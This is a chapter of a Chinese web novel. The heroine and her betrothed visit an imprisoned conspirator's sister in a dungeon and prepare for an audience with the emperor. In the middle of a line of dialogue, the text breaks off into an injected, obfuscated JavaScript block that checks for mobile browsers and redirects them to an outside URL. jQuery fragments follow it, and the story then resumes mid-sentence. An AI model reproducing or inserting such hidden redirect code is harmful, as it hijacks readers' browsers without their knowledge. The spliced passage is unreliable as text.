167.收尾(1)

作品:《家破人亡后我重生了

    她倾身贴近,用唇去捉他的耳垂。游万洲果断捂在她嘴巴前,将她缓慢且不容置疑地推坐起来,压在马车壁,另一只手捉住她两手手腕,再次警告:“这回我可不让了。”


    可恶,居然是来真的,还以为他要欲擒故纵呢。惠芷玉哀怨地瞧着他,伸出舌滑过游万洲掌心,入口有些咸涩,但在他骤然发红的面庞佐料下甘美异常。


    “别闹了……”游万洲似乎正在咬牙,忽然曲指夹住她的舌尖。惠芷玉未曾料到他不躲反控,眨了两下眼,立刻装乖发出长声嗯,用眼神和尝试贴近的身躯来继续自己的作弄。


    “别动。”游万洲没给她继续靠近的机会,两手一同发力,使她后背牢牢靠上车壁。惠芷玉只能眼睁睁看着身前这块明明属于自己的滋香扑鼻大肥肉,居然吃不到一点,有些怨恼闭上眼扭过头。


    “你又在闹什么脾气,我还没闹呢。”游万洲的声音也带了点小埋怨,随后他的沉香木气息忽然逼近,手松,被夹住的舌尖也被同样暖湿柔软的什么勾住,惠芷玉立刻反应过来,仰头沉浸入与他的亲密之中。


    分别时两人都呼吸湿热、面庞泛红,那些微妙的怨恼与愁苦早已消失成天边流云。说不上吃饱喝足,但称得上浅尝辄止,惠芷玉埋在他脖颈前用脑袋轻轻拱蹭,不禁笑了几声。


    她说:“你变啦。”


    “托你的福。”游万洲下巴搭在她发顶,说话的牙齿磕碰音透过接触部位传入,有点吵,也有点好玩。


    玩闹着抵达王府,两人携手下车。先去小院书房见赵汀兰,她早已矗立在门前,见到两人,紧张的神色和缓,迈步过来,一手搂住女儿,一手摸摸游世子的脑袋,笑问:“都没受伤吧?”


    “当然没有了,娘,别小看我们。”惠芷玉甜滋滋与她相拥,游万洲附和地点头。


    “那就好,一切顺利吗?”赵汀兰问。


    “很顺利哦,已经把蒋献抓住押去天牢了,李常安也没生命危险,只要等他养好伤就行。”惠芷玉耐心解释。


    “甚好,我老早就为你们炖着鸡汤呢,先好好休息一下吧。”赵汀兰温柔地松开女儿,请院中管家将膳房的汤品端来,一手牵着一个进入房间,让他们好好坐下。


    在鸡汤热腾的白气中,惠芷玉一边吃一边比划自己是如何抓住时机解决那蒋献,游万洲还在一旁为她补足各种细节,二人一唱一和,逗得赵汀兰捂唇直笑。


    相聚与休憩虽然简单,但却足以使人神清气爽。惠芷玉跟着游万洲进入卧室,看他着手誊写即将呈递给皇帝的奏折,见他字句间都表露出一股如果没有她此番探案抓捕不会如此顺利的意思,忽然揪住他的衣摆。


    她面露踌躇,问:“你这么写,好像,好像是想让我和你一起去面圣?”


    “是啊,你是功臣,按理来说也要去的,不想去吗?”游万洲疑惑地瞅她一眼。


    “不是不想,”惠芷玉斟酌了一下自己的说辞,“就是,我感觉我可能没法对皇帝发自内心恭敬,如果被他瞧出来,那不反而惹祸了?”


    “表面上能做足就够了,需要说话的场合我来就好。陛下其实并不关心这起案件的始末,他只想确认我的忠心,你到时候陪在我身边少说话就可以。”游万洲安慰她,又确认了一次:“但如果你实在不想去,那就不去。”


    “那我还是陪着你吧,不然就你一个人面见皇帝,被他刁难怎么办。”惠芷玉立刻下了决定,游万洲弯眼点头,继续落笔。


    拟好奏章,先让人去监门官处拿门籍,游万洲歪头看她,道:“我把蒋飞叶关在王府的地牢了,在见陛下之前,要不要先见见她?”


    蒋飞叶,曾经拐弯抹角帮助她,又被威胁愿意以身做饵配合他们抓捕蒋献。虽然这人算不上什么清白无私大好人,但现在转过头来看,也称不上是真正的敌人。


    惠芷玉点点头,说:“她被我们点了睡穴,现在怕是还不知道街道上的事,之前虽然答应她要把他们关在一起,但……哎,一入天牢可就回不来了,总得跟她说说。”


    一路直奔地牢,行至关押蒋飞叶的牢房,她果然还阖眼躺在木板床上。惠芷玉朝守卫拿来钥匙,打开门锁,和游万洲一道进入牢房。


    待游万洲几下点穴,稍候片刻后,她睫毛颤抖,缓缓掀开,下意识左右扫了一圈,目光落在他们面上,哑声问:“我哥呢?”


    “你先冷静下来听我说,”惠芷玉坐在木凳上望着她,“蒋献在之前游街时,虽然的确率部众来救你,但在发现逃不掉后他放弃了你。”


    蒋飞叶皱了皱眉,重新闭上眼,抬起胳膊搭在自己眼前,不知她想了些什么,半晌后她问:“所以你想说?”


    “我只是想说,”惠芷玉手指搭上下巴,“考虑到你曾经帮过我,如果你回心转意,不再想去和他待在一起,我们可以把你留在这,至少能保住一条命。”


    游万洲有些意外地瞧了一眼惠芷玉,却仍然坐在一旁充当她的后盾,没有开口阻挠。


    “留在这,留在这间牢房?”蒋飞叶似乎笑叹一声,放下手臂坐起身,叉开双腿单手搭上,斜视面前这两位高高在上的人,“惠小姐,我很清楚我在做什么。我参与谋逆按祁朝律法当死,我任你私藏尖物、透露情报,按反叛组织的律法也当死,既然我横竖都是一死,你猜我为什么偏要都犯?”


    惠芷玉没料到她是这个反应,如同一头竖起尖刺的刺猬。于是放下手,端正地与她对视,耐心解释:“我并非想冒犯你的尊严,不过,我的确并不了解你的所想,能告诉我为什么吗?”


    她软了姿态,蒋飞叶才缓缓将尖刺收起,靠上贴床的石墙,正视着他们,“既然你们如此珍重对方,那应该就能理解我对我哥的珍视,他是我找了许多年才重新寻回的至亲;但帮助你,是因为我曾见到鸣县的灾民们都在夸赞你们,并且我哥行事的确让我感到不适为难,我想救人,所以帮你。”


    “听起来,这应该是两件矛盾的事。”惠芷玉说,看着蒋飞叶神色坦然,似乎早就接纳了这般事实。


    她平静地开口:“但实际上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235552|165583||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    并不矛盾。我会为了哥,包庇他协助他,但我也会为了自己,帮助你满足自己——只要付出我这条微不足道的命,我就都能做到,那不是很值当吗?”


    “……”惠芷玉试探着问,“你好像,并不在乎蒋献的看法?”


    “惠小姐的说辞还真委婉,”蒋飞叶咳了声,双手撑在床板上稍微前倾,神色平静道:“我做的这一切,只是为了满足自己。喜欢他,既然无法劝说放弃,我就会去帮他;喜欢你,但更喜欢给你带来希望的自己,那么我就会去帮你。一切的重点都在于‘我’,这么说,你懂了吗?”


    懂了,这蒋家兄妹还真是亲兄妹。兄长会为了自己的事业抛弃妹妹,却也为了对她的感情冲入陷阱;小妹会为了自己的感情参与谋逆,却也为了自己的坚持背叛哥哥。


    有一说一,她觉得蒋飞叶反倒更适合做话本里的那种大坏蛋。惠芷玉扯扯嘴角,问:“那你还要去天牢吗?”


    蒋飞叶没有第一时间答复,她转头,望向地牢中唯一一口狭小的天窗,那窗并不连接外界,只映出其后幽深黑暗。她问:“谋逆罪,必然一死。什么时候行刑?”


    这个问题自然是游万洲来回答,“现在他应当在被审讯,但重伤之下拉去判刑并不好看。等他伤势好转,死期也就到了。”


    “是吗,”蒋飞叶一直望着那扇吞噬了光的黑窗,“就按照之前说好的那样吧。”


    她还是要去。


    离开地牢后,惠芷玉一直低着头。游万洲用手背轻碰她的指,问:“还在替她不值吗?”


    “是,但也不是,”惠芷玉的小指勾住他的小指,“我在想,虽然一口一个私心,但蒋飞叶最终目的还是在关心蒋献。某种程度上,好像跟我们也差不多?”


    “差得可太多了,”游万洲不屑地反驳,“我无论如何都不会舍你的命,还会跟你生死与共,同样的,我相信你也会如此待我,又怎么能与他们这种人相比较。”


    “哎呀,谁跟你说这个了!算了,你说得对,我才不舍得让你经受什么艰难困苦还弃你不顾呢。”惠芷玉抢先一步握紧他的手。


    回到卧房时,派人去取的门籍也已经送至案前。游万洲另遣人去将地牢中的蒋飞叶押送至蒋献所关的天牢,将门籍上的事项都一一填好,看了看窗外天色。


    日头西斜,但仍然高悬于天,这个时间点还算早,现在入宫恰好。他肘了肘身旁一直在看宫廷礼仪书籍的惠芷玉:“东西我都准备好了,你要不要再准备一些,我们就该入宫了。”


    “其他的倒是没问题,就是,”惠芷玉扯了扯自己的衣角,“你有适合入宫面圣的衣服么?”


    游万洲听罢,露出一个蓄谋已久的微笑,“别担心,我给你准备了很多很多套华服,走,我们现在去瞧瞧。”


    “你准备这些干嘛?”惠芷玉奇怪地瞄他,游万洲神情自若:“迟早能用上的,哪怕不是现在,以后成世子妃参加什么宫宴也需要,你应该感谢我未雨绸缪。”


    “嘁,你这条大尾巴狼。”